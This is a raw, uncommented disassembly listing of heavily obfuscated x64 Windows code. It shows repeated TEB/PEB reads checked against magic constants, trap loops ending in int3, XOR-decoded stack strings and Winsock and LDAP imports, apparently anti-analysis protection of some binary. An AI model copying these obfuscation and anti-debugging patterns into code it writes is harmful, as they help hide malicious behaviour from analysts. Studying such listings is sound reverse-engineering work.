cmp edi, 5
jl 0x14003dbbe
jmp 0x14003dc55
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov r11d, 0xdb9fe8e7
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003dd83
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003dc79
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e886
inc edi
cmp edi, 7
jl 0x14003dd1c
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
mov r11d, 1
cmp rax, r10
jne 0x14003df03
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xdb9fe8e7
mov r9d, r14d
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
add r8d, r11d
add r9, r11
cmp r8d, 8
jl 0x14003ddc9
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
mov r10, r14
add rcx, r14
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e891
add edi, r11d
cmp edi, 5
jl 0x14003de9b
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003e066
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xdb9fe8f7
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r12, 0xc9120f8b6b5ff569
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003df78
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, r12
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003df38
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r12, 0x5f8937e3e
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e89c
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x14003dffa
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003e19a
mov r8, rbx
mov rcx, r11
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r11
sub r9, r11
jne 0x14003e08a
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r10d, 0xdb9fe8e7
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e8a7
add edi, r11d
cmp edi, 7
jl 0x14003e132
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003e30a
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xdb9fe8e7
mov r9d, r14d
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
add r8d, r11d
add r9, r11
cmp r8d, 8
jl 0x14003e1ce
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r14
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
mov eax, 0xdb9fe8e7
add rcx, rax
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e8b2
add edi, r11d
cmp edi, 5
jl 0x14003e29d
xor ecx, ecx
call fcn.1400c1f84
mov r11, rax
xor eax, eax
mov byte [rbp - 0x67], al
xor r14b, 2
mov byte [rbp - 0x68], r14b
mov byte [rbp - 0x67], bl
mov byte [rbp - 0x38], 0xbf
mov byte [rbp - 0x37], 0x7b
mov byte [rbp - 0x36], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x35], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp - 0x34], 0x79
mov byte [rbp - 0x33], 0xe1
mov byte [rbp - 0x32], al
mov r8, rbx
mov r9, r12
mov esi, 0xfec33fb5
lea r10d, [rax + 6]
lea r14d, [rax + 1]
movabs r15, 0x8080808080808081
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x38], dil
add r8, r14
add r9, rsi
add r10, 6
cmp r9, r13
jb 0x14003e362
mov byte [rbp - 0x32], bl
mov r9, r11
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xc00]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
movabs r15, 0x6f756bdf3
jne 0x14003e511
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x14003e40a
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r11
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e8bd
add edi, r14d
cmp edi, 7
jl 0x14003e4a9
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003e63f
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x14003e535
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e8c8
add edi, r14d
cmp edi, 7
jl 0x14003e5d7
mov ecx, 2
call fcn.1400c1f84
mov r11, rax
mov al, 0x75
xor ecx, ecx
mov byte [rbp - 0x63], cl
xor al, 2
mov byte [rbp - 0x64], al
mov byte [rbp - 0x63], bl
mov byte [rbp + 0x20], 0xf6
mov byte [rbp + 0x21], 0xc2
mov byte [rbp + 0x22], 0xef
mov byte [rbp + 0x23], 0x83
mov byte [rbp + 0x24], __WSAFDIsSet
mov byte [rbp + 0x25], 0xe7
mov byte [rbp + 0x26], 0x47
xor eax, eax
mov byte [rbp + 0x27], al
mov r8, rbx
lea r10d, [rcx + 7]
mov r9, r15
mov esi, 0xfec33fb5
movabs r12, 0xdeead7be6
movabs r15, 0x8080808080808081
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x20]
xor dil, r8b
mov byte [rbp + r8 + 0x20], dil
add r8, r14
add r9, rsi
add r10, 7
cmp r9, r12
jb 0x14003e6a5
mov byte [rbp + 0x27], bl
mov r9, r11
lea r8, [rbp - 0x64]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc00]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
mov esi, 0x9e0d9526
movabs r15, 0x6f756bdf3
jne 0x14003e8de
mov r10d, esi
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r13, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x14003e761
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
xor rdx, rax
mov rcx, qword [rbp + 0xd20]
xor rcx, rdx
mov rax, qword [rbp + 0xd18]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003e8d3
add edi, r14d
cmp edi, 5
jl 0x14003e820
jmp 0x14003e8e8
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, r11
jne 0x14003ea2d
mov rdi, rbx
mov r8d, r14d
mov r9d, 0xdb9fe8f7
movabs r11, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003e954
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003e916
mov rax, rdi
xor rax, rdi
mov r11d, 0xdb9fe8e7
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003ec66
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003e9c2
mov ecx, 1
call fcn.1400c1f84
mov r10, rax
mov al, 0x75
xor ecx, ecx
mov byte [rbp - 0x5f], cl
xor al, 2
mov byte [rbp - 0x60], al
mov byte [rbp - 0x5f], bl
mov byte [rbp + 0x28], 0xf6
mov byte [rbp + 0x29], 0xc2
mov byte [rbp + 0x2a], 0xef
mov byte [rbp + 0x2b], 0x83
mov byte [rbp + 0x2c], __WSAFDIsSet
mov byte [rbp + 0x2d], 0xe7
mov byte [rbp + 0x2e], 0x47
xor eax, eax
mov byte [rbp + 0x2f], al
mov r8, rbx
mov esi, 0xfec33fb5
lea r9d, [rcx + 7]
movabs r12, 0xdeead7be6
movabs r11, 0x8080808080808081
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r15
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r15
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x28]
xor dil, r8b
mov byte [rbp + r8 + 0x28], dil
inc r8
add r15, rsi
add r9, 7
cmp r15, r12
jb 0x14003ea90
mov byte [rbp + 0x2f], bl
mov r9, r10
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xc00]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
mov esi, 0x9e0d9526
jne 0x14003ec7c
mov r10d, esi
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r13, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14003eb42
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003ec71
inc edi
cmp edi, 5
jl 0x14003ec01
jmp 0x14003ec86
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
mov r15d, 0xdb9fe8f7
cmp rax, r11
jne 0x14003edc8
mov rdi, rbx
mov r8d, r14d
mov r9d, r15d
movabs r11, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003ecef
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003ecb1
mov rax, rdi
xor rax, rdi
mov r11d, 0xdb9fe8e7
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003f3e8
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003ed5d
movdqa xmm0, xmmword [0x14010a0e0]
movdqu xmmword [rbp + 0xb08], xmm0
movdqa xmm1, xmmword [0x140109e90]
movdqu xmmword [rbp + 0xb18], xmm1
movdqa xmm0, xmmword [0x14010a110]
movdqu xmmword [rbp + 0xb28], xmm0
mov byte [rbp + 0xb38], 0xfc
mov byte [rbp + 0xb39], 0xe5
mov byte [rbp + 0xb3a], __WSAFDIsSet
mov byte [rbp + 0xb3b], 0x51
mov byte [rbp + 0xb3c], 0x78
mov byte [rbp + 0xb3d], 0xb3
mov byte [rbp + 0xb3e], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb3f], gethostname
mov byte [rbp + 0xb40], 0x90
mov byte [rbp + 0xb41], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb42], 0xda
mov byte [rbp + 0xb43], 0xa7
mov byte [rbp + 0xb44], Ordinal_79
mov byte [rbp + 0xb45], 0x61
xor eax, eax
mov byte [rbp + 0xb46], al
mov r8, rbx
lea r10d, [rax + 0x3e]
movabs r9, 0x3db3496dd6
movabs r11, 0x8080808080808081
mov r12d, 0xfec33fb5
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb08], dil
inc r8
add r9, r12
add r10, 0x3e
movabs rax, 0x7b6692dbac
cmp r9, rax
jb 0x14003ee89
mov byte [rbp + 0xb46], bl
lea rcx, [rbp + 0xb08]
call fcn.1400052cc
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14003f030
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003ef2c
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003f3f3
inc edi
cmp edi, 7
jl 0x14003efc2
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003f182
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r10, r11
movabs r12, 0x2aaaaaaaaaaaaaab
mov r13d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r12
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
